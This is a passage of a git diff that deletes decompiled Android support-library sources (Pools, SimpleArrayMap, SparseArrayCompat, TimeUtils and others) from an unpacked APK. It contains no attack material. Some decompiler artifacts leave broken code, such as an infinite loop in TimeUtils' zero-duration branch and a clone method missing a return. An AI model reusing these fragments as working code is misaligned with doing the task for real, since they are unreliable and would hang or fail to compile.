-\ud7ff豈-﷏ﷰ-\uffef𐀀-\u1fffd𠀀-\u2fffd𰀀-\u3fffd\u40000-\u4fffd\u50000-\u5fffd\u60000-\u6fffd\u70000-\u7fffd\u80000-\u8fffd\u90000-\u9fffd\ua0000-\uafffd\ub0000-\ubfffd\uc0000-\ucfffd\ud0000-\udfffd\ue1000-\uefffd&&[^ [\u2000-\u200a]\u2028\u2029 \u3000]]]){0,1}(?:\\.(?=\\S))?)+|" + compile + ")"; - RELAXED_DOMAIN_NAME = str; - String str2 = "((?:\\b|$|^)(? { - T acquire(); - - boolean release(T t); - } - - private Pools() { - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static class SimplePool implements Pool { - private final Object[] mPool; - private int mPoolSize; - - public SimplePool(int i) { - if (i <= 0) { - throw new IllegalArgumentException("The max pool size must be > 0"); - } - this.mPool = new Object[i]; - } - - @Override // android.support.v4.util.Pools.Pool - public T acquire() { - int i = this.mPoolSize; - if (i > 0) { - int i2 = i - 1; - Object[] objArr = this.mPool; - T t = (T) objArr[i2]; - objArr[i2] = null; - this.mPoolSize = i - 1; - return t; - } - return null; - } - - @Override // android.support.v4.util.Pools.Pool - public boolean release(T t) { - if (isInPool(t)) { - throw new IllegalStateException("Already in the pool!"); - } - int i = this.mPoolSize; - Object[] objArr = this.mPool; - if (i < objArr.length) { - objArr[i] = t; - this.mPoolSize = i + 1; - return true; - } - return false; - } - - private boolean isInPool(T t) { - for (int i = 0; i < this.mPoolSize; i++) { - if (this.mPool[i] == t) { - return true; - } - } - return false; - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static class SynchronizedPool extends SimplePool { - private final Object mLock; - - public SynchronizedPool(int i) { - super(i); - this.mLock = new Object(); - } - - @Override // android.support.v4.util.Pools.SimplePool, android.support.v4.util.Pools.Pool - public T acquire() { - T t; - synchronized (this.mLock) { - t = (T) super.acquire(); - } - return t; - } - - @Override // android.support.v4.util.Pools.SimplePool, android.support.v4.util.Pools.Pool - public boolean release(T t) { - boolean release; - synchronized (this.mLock) { - release = super.release(t); - } - return release; - } - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/util/SimpleArrayMap.java b/apk_3230/decompiled_source/sources/android/support/v4/util/SimpleArrayMap.java deleted file mode 100644 index a5245ea..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/util/SimpleArrayMap.java +++ /dev/null @@ -1,451 +0,0 @@ -package android.support.v4.util; - -import java.util.Map; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public class SimpleArrayMap { - private static final int BASE_SIZE = 4; - private static final int CACHE_SIZE = 10; - private static final boolean DEBUG = false; - private static final String TAG = "ArrayMap"; - static Object[] mBaseCache; - static int mBaseCacheSize; - static Object[] mTwiceBaseCache; - static int mTwiceBaseCacheSize; - Object[] mArray; - int[] mHashes; - int mSize; - - int indexOf(Object obj, int i) { - int i2 = this.mSize; - if (i2 == 0) { - return -1; - } - int binarySearch = ContainerHelpers.binarySearch(this.mHashes, i2, i); - if (binarySearch >= 0 && !obj.equals(this.mArray[binarySearch << 1])) { - int i3 = binarySearch + 1; - while (i3 < i2 && this.mHashes[i3] == i) { - if (obj.equals(this.mArray[i3 << 1])) { - return i3; - } - i3++; - } - for (int i4 = binarySearch - 1; i4 >= 0 && this.mHashes[i4] == i; i4--) { - if (obj.equals(this.mArray[i4 << 1])) { - return i4; - } - } - return ~i3; - } - return binarySearch; - } - - int indexOfNull() { - int i = this.mSize; - if (i == 0) { - return -1; - } - int binarySearch = ContainerHelpers.binarySearch(this.mHashes, i, 0); - if (binarySearch >= 0 && this.mArray[binarySearch << 1] != null) { - int i2 = binarySearch + 1; - while (i2 < i && this.mHashes[i2] == 0) { - if (this.mArray[i2 << 1] == null) { - return i2; - } - i2++; - } - for (int i3 = binarySearch - 1; i3 >= 0 && this.mHashes[i3] == 0; i3--) { - if (this.mArray[i3 << 1] == null) { - return i3; - } - } - return ~i2; - } - return binarySearch; - } - - private void allocArrays(int i) { - if (i == 8) { - synchronized (ArrayMap.class) { - Object[] objArr = mTwiceBaseCache; - if (objArr != null) { - this.mArray = objArr; - mTwiceBaseCache = (Object[]) objArr[0]; - this.mHashes = (int[]) objArr[1]; - objArr[1] = null; - objArr[0] = null; - mTwiceBaseCacheSize--; - return; - } - } - } else if (i == 4) { - synchronized (ArrayMap.class) { - Object[] objArr2 = mBaseCache; - if (objArr2 != null) { - this.mArray = objArr2; - mBaseCache = (Object[]) objArr2[0]; - this.mHashes = (int[]) objArr2[1]; - objArr2[1] = null; - objArr2[0] = null; - mBaseCacheSize--; - return; - } - } - } - this.mHashes = new int[i]; - this.mArray = new Object[i << 1]; - } - - private static void freeArrays(int[] iArr, Object[] objArr, int i) { - if (iArr.length == 8) { - synchronized (ArrayMap.class) { - if (mTwiceBaseCacheSize < 10) { - objArr[0] = mTwiceBaseCache; - objArr[1] = iArr; - for (int i2 = (i << 1) - 1; i2 >= 2; i2--) { - objArr[i2] = null; - } - mTwiceBaseCache = objArr; - mTwiceBaseCacheSize++; - } - } - } else if (iArr.length == 4) { - synchronized (ArrayMap.class) { - if (mBaseCacheSize < 10) { - objArr[0] = mBaseCache; - objArr[1] = iArr; - for (int i3 = (i << 1) - 1; i3 >= 2; i3--) { - objArr[i3] = null; - } - mBaseCache = objArr; - mBaseCacheSize++; - } - } - } - } - - public SimpleArrayMap() { - this.mHashes = ContainerHelpers.EMPTY_INTS; - this.mArray = ContainerHelpers.EMPTY_OBJECTS; - this.mSize = 0; - } - - public SimpleArrayMap(int i) { - if (i == 0) { - this.mHashes = ContainerHelpers.EMPTY_INTS; - this.mArray = ContainerHelpers.EMPTY_OBJECTS; - } else { - allocArrays(i); - } - this.mSize = 0; - } - - public SimpleArrayMap(SimpleArrayMap simpleArrayMap) { - this(); - if (simpleArrayMap != null) { - putAll(simpleArrayMap); - } - } - - public void clear() { - int i = this.mSize; - if (i != 0) { - freeArrays(this.mHashes, this.mArray, i); - this.mHashes = ContainerHelpers.EMPTY_INTS; - this.mArray = ContainerHelpers.EMPTY_OBJECTS; - this.mSize = 0; - } - } - - public void ensureCapacity(int i) { - int[] iArr = this.mHashes; - if (iArr.length < i) { - Object[] objArr = this.mArray; - allocArrays(i); - int i2 = this.mSize; - if (i2 > 0) { - System.arraycopy(iArr, 0, this.mHashes, 0, i2); - System.arraycopy(objArr, 0, this.mArray, 0, this.mSize << 1); - } - freeArrays(iArr, objArr, this.mSize); - } - } - - public boolean containsKey(Object obj) { - return indexOfKey(obj) >= 0; - } - - public int indexOfKey(Object obj) { - return obj == null ? indexOfNull() : indexOf(obj, obj.hashCode()); - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public int indexOfValue(Object obj) { - int i = this.mSize * 2; - Object[] objArr = this.mArray; - if (obj == null) { - for (int i2 = 1; i2 < i; i2 += 2) { - if (objArr[i2] == null) { - return i2 >> 1; - } - } - return -1; - } - for (int i3 = 1; i3 < i; i3 += 2) { - if (obj.equals(objArr[i3])) { - return i3 >> 1; - } - } - return -1; - } - - public boolean containsValue(Object obj) { - return indexOfValue(obj) >= 0; - } - - public V get(Object obj) { - int indexOfKey = indexOfKey(obj); - if (indexOfKey >= 0) { - return (V) this.mArray[(indexOfKey << 1) + 1]; - } - return null; - } - - public K keyAt(int i) { - return (K) this.mArray[i << 1]; - } - - public V valueAt(int i) { - return (V) this.mArray[(i << 1) + 1]; - } - - public V setValueAt(int i, V v) { - int i2 = (i << 1) + 1; - Object[] objArr = this.mArray; - V v2 = (V) objArr[i2]; - objArr[i2] = v; - return v2; - } - - public boolean isEmpty() { - return this.mSize <= 0; - } - - public V put(K k, V v) { - int i; - int indexOf; - if (k == null) { - indexOf = indexOfNull(); - i = 0; - } else { - int hashCode = k.hashCode(); - i = hashCode; - indexOf = indexOf(k, hashCode); - } - if (indexOf >= 0) { - int i2 = (indexOf << 1) + 1; - Object[] objArr = this.mArray; - V v2 = (V) objArr[i2]; - objArr[i2] = v; - return v2; - } - int i3 = ~indexOf; - int i4 = this.mSize; - int[] iArr = this.mHashes; - if (i4 >= iArr.length) { - int i5 = 8; - if (i4 >= 8) { - i5 = (i4 >> 1) + i4; - } else if (i4 < 4) { - i5 = 4; - } - Object[] objArr2 = this.mArray; - allocArrays(i5); - int[] iArr2 = this.mHashes; - if (iArr2.length > 0) { - System.arraycopy(iArr, 0, iArr2, 0, iArr.length); - System.arraycopy(objArr2, 0, this.mArray, 0, objArr2.length); - } - freeArrays(iArr, objArr2, this.mSize); - } - int i6 = this.mSize; - if (i3 < i6) { - int[] iArr3 = this.mHashes; - int i7 = i3 + 1; - System.arraycopy(iArr3, i3, iArr3, i7, i6 - i3); - Object[] objArr3 = this.mArray; - System.arraycopy(objArr3, i3 << 1, objArr3, i7 << 1, (this.mSize - i3) << 1); - } - this.mHashes[i3] = i; - Object[] objArr4 = this.mArray; - int i8 = i3 << 1; - objArr4[i8] = k; - objArr4[i8 + 1] = v; - this.mSize++; - return null; - } - - public void putAll(SimpleArrayMap simpleArrayMap) { - int i = simpleArrayMap.mSize; - ensureCapacity(this.mSize + i); - if (this.mSize != 0) { - for (int i2 = 0; i2 < i; i2++) { - put(simpleArrayMap.keyAt(i2), simpleArrayMap.valueAt(i2)); - } - } else if (i > 0) { - System.arraycopy(simpleArrayMap.mHashes, 0, this.mHashes, 0, i); - System.arraycopy(simpleArrayMap.mArray, 0, this.mArray, 0, i << 1); - this.mSize = i; - } - } - - public V remove(Object obj) { - int indexOfKey = indexOfKey(obj); - if (indexOfKey >= 0) { - return removeAt(indexOfKey); - } - return null; - } - - public V removeAt(int i) { - Object[] objArr = this.mArray; - int i2 = i << 1; - V v = (V) objArr[i2 + 1]; - int i3 = this.mSize; - if (i3 <= 1) { - freeArrays(this.mHashes, objArr, i3); - this.mHashes = ContainerHelpers.EMPTY_INTS; - this.mArray = ContainerHelpers.EMPTY_OBJECTS; - this.mSize = 0; - } else { - int[] iArr = this.mHashes; - if (iArr.length > 8 && i3 < iArr.length / 3) { - allocArrays(i3 > 8 ? i3 + (i3 >> 1) : 8); - this.mSize--; - if (i > 0) { - System.arraycopy(iArr, 0, this.mHashes, 0, i); - System.arraycopy(objArr, 0, this.mArray, 0, i2); - } - int i4 = this.mSize; - if (i < i4) { - int i5 = i + 1; - System.arraycopy(iArr, i5, this.mHashes, i, i4 - i); - System.arraycopy(objArr, i5 << 1, this.mArray, i2, (this.mSize - i) << 1); - } - } else { - int i6 = i3 - 1; - this.mSize = i6; - if (i < i6) { - int i7 = i + 1; - System.arraycopy(iArr, i7, iArr, i, i6 - i); - Object[] objArr2 = this.mArray; - System.arraycopy(objArr2, i7 << 1, objArr2, i2, (this.mSize - i) << 1); - } - Object[] objArr3 = this.mArray; - int i8 = this.mSize; - objArr3[i8 << 1] = null; - objArr3[(i8 << 1) + 1] = null; - } - } - return v; - } - - public int size() { - return this.mSize; - } - - public boolean equals(Object obj) { - if (this == obj) { - return true; - } - if (obj instanceof SimpleArrayMap) { - SimpleArrayMap simpleArrayMap = (SimpleArrayMap) obj; - if (size() != simpleArrayMap.size()) { - return false; - } - for (int i = 0; i < this.mSize; i++) { - try { - K keyAt = keyAt(i); - V valueAt = valueAt(i); - Object obj2 = simpleArrayMap.get(keyAt); - if (valueAt == null) { - if (obj2 != null || !simpleArrayMap.containsKey(keyAt)) { - return false; - } - } else if (!valueAt.equals(obj2)) { - return false; - } - } catch (ClassCastException | NullPointerException unused) { - return false; - } - } - return true; - } - if (obj instanceof Map) { - Map map = (Map) obj; - if (size() != map.size()) { - return false; - } - for (int i2 = 0; i2 < this.mSize; i2++) { - try { - K keyAt2 = keyAt(i2); - V valueAt2 = valueAt(i2); - Object obj3 = map.get(keyAt2); - if (valueAt2 == null) { - if (obj3 != null || !map.containsKey(keyAt2)) { - return false; - } - } else if (!valueAt2.equals(obj3)) { - return false; - } - } catch (ClassCastException | NullPointerException unused2) { - } - } - return true; - } - return false; - } - - public int hashCode() { - int[] iArr = this.mHashes; - Object[] objArr = this.mArray; - int i = this.mSize; - int i2 = 1; - int i3 = 0; - int i4 = 0; - while (i3 < i) { - Object obj = objArr[i2]; - i4 += (obj == null ? 0 : obj.hashCode()) ^ iArr[i3]; - i3++; - i2 += 2; - } - return i4; - } - - public String toString() { - if (isEmpty()) { - return "{}"; - } - StringBuilder sb = new StringBuilder(this.mSize * 28); - sb.append('{'); - for (int i = 0; i < this.mSize; i++) { - if (i > 0) { - sb.append(", "); - } - K keyAt = keyAt(i); - if (keyAt != this) { - sb.append(keyAt); - } else { - sb.append("(this Map)"); - } - sb.append('='); - V valueAt = valueAt(i); - if (valueAt != this) { - sb.append(valueAt); - } else { - sb.append("(this Map)"); - } - } - sb.append('}'); - return sb.toString(); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/util/SparseArrayCompat.java b/apk_3230/decompiled_source/sources/android/support/v4/util/SparseArrayCompat.java deleted file mode 100644 index 47990fe..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/util/SparseArrayCompat.java +++ /dev/null @@ -1,259 +0,0 @@ -package android.support.v4.util; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public class SparseArrayCompat implements Cloneable { - private static final Object DELETED = new Object(); - private boolean mGarbage; - private int[] mKeys; - private int mSize; - private Object[] mValues; - - public SparseArrayCompat() { - this(10); - } - - public SparseArrayCompat(int i) { - this.mGarbage = false; - if (i == 0) { - this.mKeys = ContainerHelpers.EMPTY_INTS; - this.mValues = ContainerHelpers.EMPTY_OBJECTS; - } else { - int idealIntArraySize = ContainerHelpers.idealIntArraySize(i); - this.mKeys = new int[idealIntArraySize]; - this.mValues = new Object[idealIntArraySize]; - } - this.mSize = 0; - } - - /* renamed from: clone */ - public SparseArrayCompat m3clone() { - SparseArrayCompat sparseArrayCompat = null; - try { - SparseArrayCompat sparseArrayCompat2 = (SparseArrayCompat) super.clone(); - try { - sparseArrayCompat2.mKeys = (int[]) this.mKeys.clone(); - sparseArrayCompat2.mValues = (Object[]) this.mValues.clone(); - return sparseArrayCompat2; - } catch (CloneNotSupportedException unused) { - sparseArrayCompat = sparseArrayCompat2; - return sparseArrayCompat; - } - } catch (CloneNotSupportedException unused2) { - } - } - - public E get(int i) { - return get(i, null); - } - - public E get(int i, E e) { - E e2; - int binarySearch = ContainerHelpers.binarySearch(this.mKeys, this.mSize, i); - return (binarySearch < 0 || (e2 = (E) this.mValues[binarySearch]) == DELETED) ? e : e2; - } - - public void delete(int i) { - int binarySearch = ContainerHelpers.binarySearch(this.mKeys, this.mSize, i); - if (binarySearch >= 0) { - Object[] objArr = this.mValues; - Object obj = objArr[binarySearch]; - Object obj2 = DELETED; - if (obj != obj2) { - objArr[binarySearch] = obj2; - this.mGarbage = true; - } - } - } - - public void remove(int i) { - delete(i); - } - - public void removeAt(int i) { - Object[] objArr = this.mValues; - Object obj = objArr[i]; - Object obj2 = DELETED; - if (obj != obj2) { - objArr[i] = obj2; - this.mGarbage = true; - } - } - - public void removeAtRange(int i, int i2) { - int min = Math.min(this.mSize, i2 + i); - while (i < min) { - removeAt(i); - i++; - } - } - - private void gc() { - int i = this.mSize; - int[] iArr = this.mKeys; - Object[] objArr = this.mValues; - int i2 = 0; - for (int i3 = 0; i3 < i; i3++) { - Object obj = objArr[i3]; - if (obj != DELETED) { - if (i3 != i2) { - iArr[i2] = iArr[i3]; - objArr[i2] = obj; - objArr[i3] = null; - } - i2++; - } - } - this.mGarbage = false; - this.mSize = i2; - } - - public void put(int i, E e) { - int binarySearch = ContainerHelpers.binarySearch(this.mKeys, this.mSize, i); - if (binarySearch >= 0) { - this.mValues[binarySearch] = e; - return; - } - int i2 = ~binarySearch; - int i3 = this.mSize; - if (i2 < i3) { - Object[] objArr = this.mValues; - if (objArr[i2] == DELETED) { - this.mKeys[i2] = i; - objArr[i2] = e; - return; - } - } - if (this.mGarbage && i3 >= this.mKeys.length) { - gc(); - i2 = ~ContainerHelpers.binarySearch(this.mKeys, this.mSize, i); - } - int i4 = this.mSize; - if (i4 >= this.mKeys.length) { - int idealIntArraySize = ContainerHelpers.idealIntArraySize(i4 + 1); - int[] iArr = new int[idealIntArraySize]; - Object[] objArr2 = new Object[idealIntArraySize]; - int[] iArr2 = this.mKeys; - System.arraycopy(iArr2, 0, iArr, 0, iArr2.length); - Object[] objArr3 = this.mValues; - System.arraycopy(objArr3, 0, objArr2, 0, objArr3.length); - this.mKeys = iArr; - this.mValues = objArr2; - } - int i5 = this.mSize; - if (i5 - i2 != 0) { - int[] iArr3 = this.mKeys; - int i6 = i2 + 1; - System.arraycopy(iArr3, i2, iArr3, i6, i5 - i2); - Object[] objArr4 = this.mValues; - System.arraycopy(objArr4, i2, objArr4, i6, this.mSize - i2); - } - this.mKeys[i2] = i; - this.mValues[i2] = e; - this.mSize++; - } - - public int size() { - if (this.mGarbage) { - gc(); - } - return this.mSize; - } - - public int keyAt(int i) { - if (this.mGarbage) { - gc(); - } - return this.mKeys[i]; - } - - public E valueAt(int i) { - if (this.mGarbage) { - gc(); - } - return (E) this.mValues[i]; - } - - public void setValueAt(int i, E e) { - if (this.mGarbage) { - gc(); - } - this.mValues[i] = e; - } - - public int indexOfKey(int i) { - if (this.mGarbage) { - gc(); - } - return ContainerHelpers.binarySearch(this.mKeys, this.mSize, i); - } - - public int indexOfValue(E e) { - if (this.mGarbage) { - gc(); - } - for (int i = 0; i < this.mSize; i++) { - if (this.mValues[i] == e) { - return i; - } - } - return -1; - } - - public void clear() { - int i = this.mSize; - Object[] objArr = this.mValues; - for (int i2 = 0; i2 < i; i2++) { - objArr[i2] = null; - } - this.mSize = 0; - this.mGarbage = false; - } - - public void append(int i, E e) { - int i2 = this.mSize; - if (i2 != 0 && i <= this.mKeys[i2 - 1]) { - put(i, e); - return; - } - if (this.mGarbage && i2 >= this.mKeys.length) { - gc(); - } - int i3 = this.mSize; - if (i3 >= this.mKeys.length) { - int idealIntArraySize = ContainerHelpers.idealIntArraySize(i3 + 1); - int[] iArr = new int[idealIntArraySize]; - Object[] objArr = new Object[idealIntArraySize]; - int[] iArr2 = this.mKeys; - System.arraycopy(iArr2, 0, iArr, 0, iArr2.length); - Object[] objArr2 = this.mValues; - System.arraycopy(objArr2, 0, objArr, 0, objArr2.length); - this.mKeys = iArr; - this.mValues = objArr; - } - this.mKeys[i3] = i; - this.mValues[i3] = e; - this.mSize = i3 + 1; - } - - public String toString() { - if (size() <= 0) { - return "{}"; - } - StringBuilder sb = new StringBuilder(this.mSize * 28); - sb.append('{'); - for (int i = 0; i < this.mSize; i++) { - if (i > 0) { - sb.append(", "); - } - sb.append(keyAt(i)); - sb.append('='); - E valueAt = valueAt(i); - if (valueAt != this) { - sb.append(valueAt); - } else { - sb.append("(this Map)"); - } - } - sb.append('}'); - return sb.toString(); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/util/TimeUtils.java b/apk_3230/decompiled_source/sources/android/support/v4/util/TimeUtils.java deleted file mode 100644 index b5e33e1..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/util/TimeUtils.java +++ /dev/null @@ -1,150 +0,0 @@ -package android.support.v4.util; - -import java.io.PrintWriter; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class TimeUtils { - public static final int HUNDRED_DAY_FIELD_LEN = 19; - private static final int SECONDS_PER_DAY = 86400; - private static final int SECONDS_PER_HOUR = 3600; - private static final int SECONDS_PER_MINUTE = 60; - private static final Object sFormatSync = new Object(); - private static char[] sFormatStr = new char[24]; - - private static int accumField(int i, int i2, boolean z, int i3) { - if (i > 99 || (z && i3 >= 3)) { - return i2 + 3; - } - if (i > 9 || (z && i3 >= 2)) { - return i2 + 2; - } - if (z || i > 0) { - return i2 + 1; - } - return 0; - } - - private static int printField(char[] cArr, int i, char c, int i2, boolean z, int i3) { - int i4; - if (z || i > 0) { - if ((!z || i3 < 3) && i <= 99) { - i4 = i2; - } else { - int i5 = i / 100; - cArr[i2] = (char) (i5 + 48); - i4 = i2 + 1; - i -= i5 * 100; - } - if ((z && i3 >= 2) || i > 9 || i2 != i4) { - int i6 = i / 10; - cArr[i4] = (char) (i6 + 48); - i4++; - i -= i6 * 10; - } - cArr[i4] = (char) (i + 48); - cArr[i4 + 1] = c; - return i4 + 2; - } - return i2; - } - - private static int formatDurationLocked(long j, int i) { - char c; - int i2; - int i3; - int i4; - int i5; - int i6; - long j2 = j; - if (sFormatStr.length < i) { - sFormatStr = new char[i]; - } - char[] cArr = sFormatStr; - int i7 = (j2 > 0L ? 1 : (j2 == 0L ? 0 : -1)); - if (i7 == 0) { - int i8 = i - 1; - while (i8 > 0) { - cArr[0] = ' '; - } - cArr[0] = '0'; - return 1; - } - if (i7 > 0) { - c = '+'; - } else { - j2 = -j2; - c = '-'; - } - int i9 = (int) (j2 % 1000); - int floor = (int) Math.floor(j2 / 1000); - if (floor > SECONDS_PER_DAY) { - i2 = floor / SECONDS_PER_DAY; - floor -= SECONDS_PER_DAY * i2; - } else { - i2 = 0; - } - if (floor > SECONDS_PER_HOUR) { - i3 = floor / SECONDS_PER_HOUR; - floor -= i3 * SECONDS_PER_HOUR; - } else { - i3 = 0; - } - if (floor > SECONDS_PER_MINUTE) { - int i10 = floor / SECONDS_PER_MINUTE; - i4 = floor - (i10 * SECONDS_PER_MINUTE); - i5 = i10; - } else { - i4 = floor; - i5 = 0; - } - if (i != 0) { - int accumField = accumField(i2, 1, false, 0); - int accumField2 = accumField + accumField(i3, 1, accumField > 0, 2); - int accumField3 = accumField2 + accumField(i5, 1, accumField2 > 0, 2); - int accumField4 = accumField3 + accumField(i4, 1, accumField3 > 0, 2); - i6 = 0; - for (int accumField5 = accumField4 + accumField(i9, 2, true, accumField4 > 0 ? 3 : 0) + 1; accumField5 < i; accumField5++) { - cArr[i6] = ' '; - i6++; - } - } else { - i6 = 0; - } - cArr[i6] = c; - int i11 = i6 + 1; - boolean z = i != 0; - int printField = printField(cArr, i2, 'd', i11, false, 0); - int printField2 = printField(cArr, i3, 'h', printField, printField != i11, z ? 2 : 0); - int printField3 = printField(cArr, i5, 'm', printField2, printField2 != i11, z ? 2 : 0); - int printField4 = printField(cArr, i4, 's', printField3, printField3 != i11, z ? 2 : 0); - int printField5 = printField(cArr, i9, 'm', printField4, true, (!z || printField4 == i11) ? 0 : 3); - cArr[printField5] = 's'; - return printField5 + 1; - } - - public static void formatDuration(long j, StringBuilder sb) { - synchronized (sFormatSync) { - sb.append(sFormatStr, 0, formatDurationLocked(j, 0)); - } - } - - public static void formatDuration(long j, PrintWriter printWriter, int i) { - synchronized (sFormatSync) { - printWriter.print(new String(sFormatStr, 0, formatDurationLocked(j, i))); - } - } - - public static void formatDuration(long j, PrintWriter printWriter) { - formatDuration(j, printWriter, 0); - } - - public static void formatDuration(long j, long j2, PrintWriter printWriter) { - if (j == 0) { - printWriter.print("--"); - } else { - formatDuration(j - j2, printWriter, 0); - } - } - - private TimeUtils() { - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/AbsSavedState.java b/apk_3230/decompiled_source/sources/android/support/v4/view/AbsSavedState.java deleted file mode 100644 index 702ab2f..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/AbsSavedState.java +++ /dev/null @@ -1,64 +0,0 @@ -package android.support.v4.view; - -import android.os.Parcel; -import android.os.Parcelable; -import android.support.v4.os.ParcelableCompat; -import android.support.v4.os.ParcelableCompatCreatorCallbacks; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public abstract class AbsSavedState implements Parcelable { - private final Parcelable mSuperState; - public static final AbsSavedState EMPTY_STATE = new AbsSavedState() { // from class: android.support.v4.view.AbsSavedState.1 - }; - public static final Parcelable.Creator CREATOR = ParcelableCompat.newCreator(new ParcelableCompatCreatorCallbacks() { // from class: android.support.v4.view.AbsSavedState.2 - /* JADX WARN: Can't rename method to resolve collision */ - @Override // android.support.v4.os.ParcelableCompatCreatorCallbacks - public AbsSavedState createFromParcel(Parcel parcel, ClassLoader classLoader) { - if (parcel.readParcelable(classLoader) != null) { - throw new IllegalStateException("superState must be null"); - } - return AbsSavedState.EMPTY_STATE; - } - - /* JADX WARN: Can't rename method to resolve collision */ - @Override // android.support.v4.os.ParcelableCompatCreatorCallbacks - public AbsSavedState[] newArray(int i) { - return new AbsSavedState[i]; - } - }); - - @Override // android.os.Parcelable - public int describeContents() { - return 0; - } - - private AbsSavedState() { - this.mSuperState = null; - } - - /* JADX INFO: Access modifiers changed from: protected */ - public AbsSavedState(Parcelable parcelable) { - if (parcelable == null) { - throw new IllegalArgumentException("superState must not be null"); - } - this.mSuperState = parcelable == EMPTY_STATE ? null : parcelable; - } - - protected AbsSavedState(Parcel parcel) { - this(parcel, null); - } - - /* JADX INFO: Access modifiers changed from: protected */ - public AbsSavedState(Parcel parcel, ClassLoader classLoader) { - Parcelable readParcelable = parcel.readParcelable(classLoader); - this.mSuperState = readParcelable == null ? EMPTY_STATE : readParcelable; - } - - public final Parcelable getSuperState() { - return this.mSuperState; - } - - @Override // android.os.Parcelable - public void writeToParcel(Parcel parcel, int i) { - parcel.writeParcelable(this.mSuperState, i); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/AccessibilityDelegateCompat.java b/apk_3230/decompiled_source/sources/android/support/v4/view/AccessibilityDelegateCompat.java deleted file mode 100644 index 656e1f9..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/AccessibilityDelegateCompat.java +++ /dev/null @@ -1,305 +0,0 @@ -package android.support.v4.view; - -import android.os.Bundle; -import android.support.v4.view.AccessibilityDelegateCompatIcs; -import android.support.v4.view.AccessibilityDelegateCompatJellyBean; -import android.support.v4.view.accessibility.AccessibilityNodeInfoCompat; -import android.support.v4.view.accessibility.AccessibilityNodeProviderCompat; -import android.view.View; -import android.view.ViewGroup; -import android.view.accessibility.AccessibilityEvent; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public class AccessibilityDelegateCompat { - private static final Object DEFAULT_DELEGATE; - private static final AccessibilityDelegateImpl IMPL; - final Object mBridge = IMPL.newAccessiblityDelegateBridge(this); - - /* JADX INFO: Access modifiers changed from: package-private */ - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public interface AccessibilityDelegateImpl { - boolean dispatchPopulateAccessibilityEvent(Object obj, View view, AccessibilityEvent accessibilityEvent); - - AccessibilityNodeProviderCompat getAccessibilityNodeProvider(Object obj, View view); - - Object newAccessiblityDelegateBridge(AccessibilityDelegateCompat accessibilityDelegateCompat); - - Object newAccessiblityDelegateDefaultImpl(); - - void onInitializeAccessibilityEvent(Object obj, View view, AccessibilityEvent accessibilityEvent); - - void onInitializeAccessibilityNodeInfo(Object obj, View view, AccessibilityNodeInfoCompat accessibilityNodeInfoCompat); - - void onPopulateAccessibilityEvent(Object obj, View view, AccessibilityEvent accessibilityEvent); - - boolean onRequestSendAccessibilityEvent(Object obj, ViewGroup viewGroup, View view, AccessibilityEvent accessibilityEvent); - - boolean performAccessibilityAction(Object obj, View view, int i, Bundle bundle); - - void sendAccessibilityEvent(Object obj, View view, int i); - - void sendAccessibilityEventUnchecked(Object obj, View view, AccessibilityEvent accessibilityEvent); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class AccessibilityDelegateStubImpl implements AccessibilityDelegateImpl { - @Override // android.support.v4.view.AccessibilityDelegateCompat.AccessibilityDelegateImpl - public boolean dispatchPopulateAccessibilityEvent(Object obj, View view, AccessibilityEvent accessibilityEvent) { - return false; - } - - @Override // android.support.v4.view.AccessibilityDelegateCompat.AccessibilityDelegateImpl - public AccessibilityNodeProviderCompat getAccessibilityNodeProvider(Object obj, View view) { - return null; - } - - @Override // android.support.v4.view.AccessibilityDelegateCompat.AccessibilityDelegateImpl - public Object newAccessiblityDelegateBridge(AccessibilityDelegateCompat accessibilityDelegateCompat) { - return null; - } - - @Override // android.support.v4.view.AccessibilityDelegateCompat.AccessibilityDelegateImpl - public Object newAccessiblityDelegateDefaultImpl() { - return null; - } - - @Override // android.support.v4.view.AccessibilityDelegateCompat.AccessibilityDelegateImpl - public void onInitializeAccessibilityEvent(Object obj, View view, AccessibilityEvent accessibilityEvent) { - } - - @Override // android.support.v4.view.AccessibilityDelegateCompat.AccessibilityDelegateImpl - public void onInitializeAccessibilityNodeInfo(Object obj, View view, AccessibilityNodeInfoCompat accessibilityNodeInfoCompat) { - } - - @Override // android.support.v4.view.AccessibilityDelegateCompat.AccessibilityDelegateImpl - public void onPopulateAccessibilityEvent(Object obj, View view, AccessibilityEvent accessibilityEvent) { - } - - @Override // android.support.v4.view.AccessibilityDelegateCompat.AccessibilityDelegateImpl - public boolean onRequestSendAccessibilityEvent(Object obj, ViewGroup viewGroup, View view, AccessibilityEvent accessibilityEvent) { - return true; - } - - @Override // android.support.v4.view.AccessibilityDelegateCompat.AccessibilityDelegateImpl - public boolean performAccessibilityAction(Object obj, View view, int i, Bundle bundle) { - return false; - } - - @Override // android.support.v4.view.AccessibilityDelegateCompat.AccessibilityDelegateImpl - public void sendAccessibilityEvent(Object obj, View view, int i) { - } - - @Override // android.support.v4.view.AccessibilityDelegateCompat.AccessibilityDelegateImpl - public void sendAccessibilityEventUnchecked(Object obj, View view, AccessibilityEvent accessibilityEvent) { - } - - AccessibilityDelegateStubImpl() { - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class AccessibilityDelegateIcsImpl extends AccessibilityDelegateStubImpl { - AccessibilityDelegateIcsImpl() { - } - - @Override // android.support.v4.view.AccessibilityDelegateCompat.AccessibilityDelegateStubImpl, android.support.v4.view.AccessibilityDelegateCompat.AccessibilityDelegateImpl - public Object newAccessiblityDelegateDefaultImpl() { - return 